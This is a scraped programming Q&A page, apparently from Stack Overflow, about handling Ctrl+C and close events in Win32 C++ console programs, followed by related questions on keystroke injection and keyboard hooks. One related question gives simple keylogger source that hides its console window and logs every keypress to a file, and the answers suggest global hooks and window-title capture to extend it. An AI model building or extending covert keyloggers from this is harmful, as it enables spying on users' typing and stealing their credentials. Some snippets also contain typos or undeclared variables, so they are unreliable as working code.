I have some problems with the handling of CTRL+C events, in a Win32 C++ console program.
Basically my program looks like this: (based on this other question: Windows Ctrl-C - Cleaning up local stack objects in command line app)
bool running;
int main() {
running = true;
SetConsoleCtrlHandler((PHANDLER_ROUTINE) consoleHandler, TRUE);
while (running) {
// do work
...
}
// do cleanup
...
return 0;
}
bool consoleHandler(int signal) {
if (signal == CTRL_C_EVENT) {
running = false;
}
return true;
}
The problem is the cleanup code not being executed at all.
After the execution of the handler function the process is terminated, but without execute the code after the main loop. What's wrong?
EDIT: as requested, this is a minimal test case similar to my program: http://pastebin.com/6rLK6BU2
I don't get the "test cleanup-instruction" string in my output.
I don't know if this is important, I'm compiling with MinGW.
EDIT 2: The problem with the test case program is the use of the Sleep() function. Without it the program works as expected.
In Win32 the function handler runs in another thread, so when the handler/thread ends its execution the main thread is sleeping. Probably this is the cause of process interruption?
The following code works for me:
#include <windows.h>
#include <stdio.h>
BOOL WINAPI consoleHandler(DWORD signal) {
if (signal == CTRL_C_EVENT)
printf("Ctrl-C handled\n"); // do cleanup
return TRUE;
}
int main()
{
running = TRUE;
if (!SetConsoleCtrlHandler(consoleHandler, TRUE)) {
printf("\nERROR: Could not set control handler");
return 1;
}
while (1) { /* do work */ }
return 0;
}
Depending on your specific requirements you have a number of options. If you simply want to ignore Ctrl+C you can call SetConsoleCtrlHandler passing NULL as the HandlerRoutine parameter:
int _tmain(int argc, _TCHAR* argv[])
{
SetConsoleCtrlHandler(NULL, TRUE);
// do work
return 0;
}
This removes all signal handlers. To terminate this application you have to implement custom logic to determine when to shut down.
If you want to handle Ctrl+C you have two options: Set up a handler for the signal or pass the keyboard input on to regular keyboard handling.
Setting up a handler is similar to the code above, but instead of passing NULL as the handler you provide your own implementation.
#include <windows.h>
#include <stdio.h>
volatile bool isRunnung = true;
BOOL WINAPI HandlerRoutine(_In_ DWORD dwCtrlType) {
switch (dwCtrlType)
{
case CTRL_C_EVENT:
printf("[Ctrl]+C\n");
isRunnung = false;
// Signal is handled - don't pass it on to the next handler
return TRUE;
default:
// Pass signal on to the next handler
return FALSE;
}
}
int _tmain(int argc, _TCHAR* argv[])
{
SetConsoleCtrlHandler(HandlerRoutine, TRUE);
printf("Starting\n");
while ( isRunnung ) {
Sleep(0);
}
printf("Ending\n");
return 0;
}
The output of this application is:
Starting
[Ctrl]+C
Ending
Note that cleanup code is executed, regardless of the code inside the main while-loop. Signal handlers form a linked list, where the handler functions are called on a last-registered, first-called basis until one of the handlers returns TRUE. If none of the handlers returns TRUE, the default handler is called. The default handler for a console calls ExitProcess when processing Ctrl+C.
If you want to prevent any preprocessing and handle Ctrl+C as regular keyboard input instead you have to change the console mode by calling SetConsoleMode.
#include <windows.h>
#include <stdio.h>
int _tmain(int argc, _TCHAR* argv[])
{
DWORD dwMode = 0x0;
GetConsoleMode( GetStdHandle(STD_INPUT_HANDLE), &dwMode );
// Remove ENABLE_PROCESSED_INPUT flag
dwMode &= ~ENABLE_PROCESSED_INPUT;
SetConsoleMode( GetStdHandle(STD_INPUT_HANDLE), dwMode );
while ( true ) {
// Ctrl+C can be read using ReadConsoleInput, etc.
}
return 0;
}
Once the ENABLE_PROCESSED_INPUT flag is removed Ctrl+C is no longer processed by the system and passed to the console like regular keyboard input. It can be read using ReadConsoleInput or ReadFile.
Disclaimer: The above has been tested on Windows 8 64bit, compiled for 32 and 64 bit, Release and Debug configurations.
According to the documentation, when the handler (which is declared wrong, BTW) receives a CTRL_CLOSE_EVENT, CTRL_LOGOFF_EVENT, or CTRL_SHUTDOWN_EVENT signal, the process is terminated after the handler exits. To do what you are attempting, you are supposed to move your cleanup code into the handler itself.
Actually Win32 has some emulation for POSIX signals, so you can just do the following, which will be portable between Windows and POSIX (Linux, *BSD, etc.):
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
static void sigHandler(int sig) {
printf("Signal %d received, exiting\n", sig);
exit(0);
};
int main() {
signal(SIGINT, sigHandler);
#ifdef SIGBREAK
signal(SIGBREAK, sigHandler); // handles Ctrl-Break on Win32
#endif
signal(SIGABRT, sigHandler);
signal(SIGTERM, sigHandler);
printf("Press Ctrl-C to exit ...\n");
for (;;) {
getchar();
}
return 0;
}
Try running your console application directly from the windows command line without using the C++ IDE. I noticed that your code doesn't work if I run from the Code::BLocks C++ IDE... but it works if I run it from the command line....
(Also, note for Codeblock you need to copy all of the DLLs from the Codeblocks program directory ('C:\Program Files\CodeBlocks*.dll') in your project/bin/debug directory to get the console application to run from the command line...)
Related
I have the following code to demonstrate the problem.
A handler treating ctrl-C (CTRL_C_EVENT) and window-close (CTRL_CLOSE_EVENT) is installed.
After outputting something about the possible actions, an infinite loop is started, waiting for a user to either control-C or close the console window.
In both cases a message box with a yes/no choice is given.
For the ctrl-C this works fine, but clicking no when closing has no effect. Worse, after 5 seconds the whole thing is shut down anyway. This is quite according to docs, so my question is:
Is there an alternative that will allow me to return to the application, rather than having 5 seconds to say my prayers and getting shot anyway?
The code:
#include <stdio.h>
#include <Windows.h>
#pragma comment(lib, "user32.lib")
BOOL myCtrlHandler(DWORD fdwCtrlType)
{
auto userwantstoquit = [](HWND wnd = nullptr)
{
return MessageBox(
wnd,
"Do you really want to stop?",
"CTRL tester",
MB_YESNO | MB_ICONWARNING | MB_DEFBUTTON2 | MB_APPLMODAL
) == IDYES;
};
switch (fdwCtrlType)
{
case CTRL_C_EVENT:
// Console window handle is passed to prevent window interaction
// return TRUE will stop the signal, allow app to go on
// return FALSE will allow the other handlers to be called.
return !userwantstoquit(GetConsoleWindow());
case CTRL_CLOSE_EVENT:
// passing console window handle will not display the box
return !userwantstoquit();
default:
// use default handlers for everything else
return FALSE;
}
}
int main()
{
SetConsoleCtrlHandler(myCtrlHandler, TRUE);
puts("Press ctrl-C or close the console window using x");
while (true);
return 0;
}
MS docs say that in case of a CTRL-CLOSE signal any number of (console) cleanup routines already may have executed, so at this stage there is no way back.
Possibly, then, trying to add a windows message pump is the only potential solution, but that obviously smacks of overkill for a console app. But it may be the only way to go, also, since by using MessageBox (user32.dll), there will not be CTRL_LOGOFF or CTRL_SHUTDOWN events through the CtrlHandler function.
EDIT: Related post and possible .Net solution: related question (I would like a non-.Net solution)
I have a need to shut-down a child process with a given process ID. My first attempt was to use this code:
bool shutDown(int const processID)
{
// detach handler from 'this', parent process
SetConsoldeCtrlHandler(NULL, TRUE);
// send ctrl-c event to processID
bool success = false;
FreeConsole();
AttachConsole(processID);
success = GenerateConsoleCtrlEvent(CTRL_C_EVENT, 0);
while(waitUntilSomething()) {}
return success;
}
Now this works fine, however, I would like to return console ctrl to the 'this' process so that if I want to, I can break out of the while loop. With this in mind, I tried this:
bool shutDown(int const processID)
{
// detach handler from 'this' process
SetConsoldeCtrlHandler(NULL, TRUE);
// send ctrl-c event to processID
bool success = false;
FreeConsole();
AttachConsole(processID);
success = GenerateConsoleCtrlEvent(CTRL_C_EVENT, 0);
SetConsoleCtrlHandler(NULL, FALSE); // <--- I added this bit
while(waitUntilSomething()) {}
return success;
}
But this doesn't work, because the ctrl-c signal then falls through to the parent process and the while loop is never executed.
I also tried the following, using a custom handler to ignore ctrl-c events from 'this':
BOOL WINAPI handler(DWORD eventType)
{
switch(eventType) {
case CTRL_EVENT:
case CTRL_BREAK_EVENT:
return TRUE;
default:
return FALSE;
}
}
bool shutDown(int const processID)
{
// attach custom handler to i
SetConsoldeCtrlHandler(handler, TRUE);
// send ctrl-c event to processID
bool success = false;
FreeConsole();
AttachConsole(processID);
success = GenerateConsoleCtrlEvent(CTRL_C_EVENT, 0);
SetConsoleCtrlHandler(handler, FALSE);
while(waitUntilSomething()) {}
return success;
}
...but in a similar way to the second example, the ctrl-c then passes straight through to the parent process and the while loop is never executed, because of the second SetConsoleCtrlHandler(handler, FALSE); call.
Is there a way that I can return ctrl-c handling to the parent process after generating a ctrl-c event for a child process, without that event being automatically handled?
Thanks,
Ben.
I`m trying to write a simple keylogger in C++ using WinAPI. Is there a way to get in which application the user is typing the captured key strokes?
And here is my code so far:
#include <iostream>
#include <windows.h>
#include <winuser.h>
using namespace std;
int main()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen("LOG.txt", "a+");
int c=static_cast<int>(i);
fprintf(OUTPUT_FILE, "%s", &c);
fclose (OUTPUT_FILE);
}
}
}
system ("PAUSE");
return 0;
}
What you want is a global keyboard hook
A global hook monitors messages for all threads in the same desktop as
the calling thread. A thread-specific hook monitors messages for only
an individual thread. A global hook procedure can be called in the
context of any application in the same desktop as the calling thread,
so the procedure must be in a separate DLL module. A thread-specific
hook procedure is called only in the context of the associated thread.
If an application installs a hook procedure for one of its own
threads, the hook procedure can be in either the same module as the
rest of the application's code or in a DLL. If the application
installs a hook procedure for a thread of a different application, the
procedure must be in a DLL. For information, see Dynamic-Link
Libraries.
Since the question is "Is there a way to get in which application the user is typing the captured key strokes?"
I'd say use HWND WINAPI GetForegroundWindow(void);
For example:
char cWindow[MAX_PATH];
GetWindowTextA(GetForegroundWindow(), cWindow, sizeof(cWindow));
In cWindow you get the title of the window in which the user is typing.
My approach to this problem turned out to be correct only in several programs. Why it isn't universal?
Works fine on:
Firefox
Visual Studio Text Editor
Unfortunately, in some cases nothing happens(even if I click into a textbox area before execution of my program):
Google Chrome
Notepad
GetLastError returns always 0, even using SendMessage instead of PostMessage.Could you point out my mistake?
#include <Windows.h>
#include <iostream>
int main()
{
HWND hCurrentWindow;
Sleep(5000);
hCurrentWindow = GetForegroundWindow();
std::cout<<"GO!!!\n";
for(int i=0; i<500; i++) //simulate 500 keystrokes of 'E'.
{
PostMessage(hCurrentWindow,WM_KEYDOWN,0x45,NULL);
PostMessage(hCurrentWindow,WM_KEYUP,0x45,NULL);
}
std::cout<<GetLastError()<<std::endl;
system("Pause");
return 0;
}
UPDATE after Maximus sugestion
#include <Windows.h>
#include <iostream>
int main()
{
HWND hCurrentWindow;
Sleep(5000);
hCurrentWindow = GetForegroundWindow();
if(!hCurrentWindow)
std::cout<<"Failed get set the window handle\n";
std::cout<<"GO!!!\n";
for(int i=0; i<500; i++)
{
PostMessage(hCurrentWindow,WM_KEYDOWN,0x45,0x45);
PostMessage(hCurrentWindow,WM_KEYUP,0x45,0x45);
}
std::cout<<GetLastError()<<std::endl;
system("Pause");
return 0;
}
There is no difference in effect.
UPDATE after Rob Kennedy's comment and Hans Passant's answer
#include <Windows.h>
#include <iostream>
int main()
{
HWND hCurrentWindow;
DWORD procID;
GUITHREADINFO currentWindowGuiThreadInfo;
Sleep(5000);
hCurrentWindow = GetForegroundWindow();
if(!hCurrentWindow)
std::cout<<"Failed get main the window handle\n";
GetWindowThreadProcessId(hCurrentWindow,&procID);
GetGUIThreadInfo(procID,¤tWindowGuiThreadInfo);
hCurrentWindow = currentWindowGuiThreadInfo.hwndFocus;
if(!hCurrentWindow)
std::cout<<"Failed get the child window handle\n";
std::cout<<"GO!!!\n";
for(int i=0; i<500; i++)
{
PostMessage(hCurrentWindow,WM_KEYDOWN,0x45, MapVirtualKey(0x45,MAPVK_VK_TO_VSC));
PostMessage(hCurrentWindow,WM_KEYUP,0x45, MapVirtualKey(0x45,MAPVK_VK_TO_VSC));
}
std::cout<<GetLastError()<<std::endl;
system("Pause");
return 0;
}
Now, "transparent" messages are sent every time. GetLastError() says:
ERROR_INVALID_WINDOW_HANDLE
1400 (0x578)
Invalid window handle.
GetLastError() "fixed"
int main()
{
HWND hCurrentWindow;
DWORD procID;
GUITHREADINFO currentWindowGuiThreadInfo;
Sleep(5000);
hCurrentWindow = GetForegroundWindow();
if(!hCurrentWindow)
std::cout<<"Failed get main the window handle\n";
GetWindowThreadProcessId(hCurrentWindow,&procID);
GetGUIThreadInfo(procID,¤tWindowGuiThreadInfo);
hCurrentWindow = currentWindowGuiThreadInfo.hwndFocus;
if(!hCurrentWindow)
std::cout<<"Failed get the child window handle\n";
std::cout<<"GO!!!\n";
for(int i=0; i<500; i++)
{
if(!PostMessage(hCurrentWindow,WM_KEYDOWN,0x45, MapVirtualKey(0x45,MAPVK_VK_TO_VSC))) std::cout<<GetLastError()<<std::endl;
if(!PostMessage(hCurrentWindow,WM_KEYUP,0x45, MapVirtualKey(0x45,MAPVK_VK_TO_VSC))) std::cout<<GetLastError()<<std::endl;
}
system("Pause");
return 0;
}
...outputs 1400 thousand times. Except this, nothing has changed.
This will of course happen when you post the message to the wrong window. Which is certainly the case for Notepad. It doesn't have just one window, something you can see with Spy++. GetForegroundWindow() returns you a top-level window, the frame window for Notepad. Inside of that frame window it has a child window, an EDIT control. That window needs to get the messages.
You'll need to jump through a few hoops to get that window, the GetFocus() function returns the window with the focus but that only works if you call it from the process that owns the window. When you do this out-of-process then you must first call GetWindowThreadProcessId() to get the ID of the thread that owns the foreground window. Then you must call GetGUIThreadInfo(), the GUITHREADINFO.hwndFocus it returns is the window handle you need.
This is still not without trouble, you cannot control the keyboard state of the process. In other words, the state of the Shift, Ctrl and Alt keys as well as any dead keys (like Alt+Gr on certain keyboard layouts). Favor sending WM_CHAR for typing keys.
Something else to bear in mind is that you can't always assume that the target application is handling user input in the same way. For example they could be using something GetAsyncKeyState() instead, causing your posted messages to have no effect at all.
You send lParam==NULL. It contains the scan code of the key which may be needed by the applications which aren't working currently.
Also, your code does not check the return value of GetForegroundWindow(). It may be NULL.
Lastly, you omit WM_CHAR, which is an important part of keyboard cycle.
Between sending the KeyDown and KeyUp you need any delay in some cases. I solved my similar situation by adding a pause of 100ms after KeyDown
{
PostMessage(hCurrentWindow,WM_KEYDOWN,0x45, MapVirtualKey(0x45,MAPVK_VK_TO_VSC));
Sleep(100);
PostMessage(hCurrentWindow,WM_KEYUP,0x45, MapVirtualKey(0x45,MAPVK_VK_TO_VSC));
}
#include <iostream>
#include <fstream>
#define _WIN32_WINNT 0x501
#include <windows.h>
using namespace std;
HHOOK hKeyboardHook = 0;
LRESULT CALLBACK KeyboardCallback(int code,WPARAM wParam,LPARAM lParam) {
cout << "a key was pressed" << endl;
ofstream myfile;
myfile.open ("hookcheck.txt", ios::ate | ios::app);
myfile << "a key was pressed\n";
myfile.close();
return CallNextHookEx(hKeyboardHook,code,wParam,lParam);
}
int main() {
HWND consoleWindow = GetConsoleWindow();
HINSTANCE hInstCons = (HINSTANCE)GetWindowLong( consoleWindow, GWL_HINSTANCE );
hKeyboardHook = SetWindowsHookEx( WH_KEYBOARD, (HOOKPROC)KeyboardCallback, (HINSTANCE)consoleWindow, GetCurrentThreadId());
MessageBox(NULL, "It is keyboard time!", "Let's Go", MB_OK);
}
This code on every key press while the loop is going should print message on console and create a file, but nothing is happening. What do I wrong ?
I will quote from another topic:
Console windows are handled entirely by CSRSS, which is a system
process. Installing a hook into a process means injecting your DLL
into it. Since CSRSS is so important (it's vital for running of the
system, and code within runs as LocalSystem, which is the local
super-admin user), you're not allowed to inject code into it. So you
can't hook any of its windows.
There are no real window messages taking place in your simple console application, so your hook does not have to be called, and in your case you are not even injecting your hook but using thread mode hook only. Per MSDN documentation it is called when messages are about to be processed:
An application-defined or library-defined callback function used with
the SetWindowsHookEx function. The system calls this function whenever
an application calls the GetMessage or PeekMessage function and there
is a keyboard message (WM_KEYUP or WM_KEYDOWN) to be processed.
Now let me show you what you can do to start receiving calls on your hook:
MessageBox(NULL, _T("It is keyboard time!"), _T("Let's Go"), MB_OK);
//for(int i=0; i<=10; i++) {
// cout << i << endl;
// Sleep(1000);
//}
Do MessageBox and before closing it start typing - you will start getting hook calls.
Read the documentation for SetWindowsHookEx. Is it working, it will return NULL if it fails and GetLastError() can be called to get an error code to help diagnose what is wrong.
http://msdn.microsoft.com/en-us/library/windows/desktop/ms644990(v=vs.85).aspx
Sleep(1000) suspends the execution of the current thread until the time-out interval elapses. It means that your program is not actually running (ie. processing messages) during this sleep.
You need to use a different kind of command, that will keep the message loop running. The simplest thing would be to wait for user input
while(true)
std::cin.get();
I have created a dll that hooked the keyboard and in there I used the DllMainfunction to retrieve a HINSTANCE that can be used in SetWindowsHookEx.
Next to that I also used 0 as the threadid so all threads get hooked.
Perhaps you could try a similar tactic as well.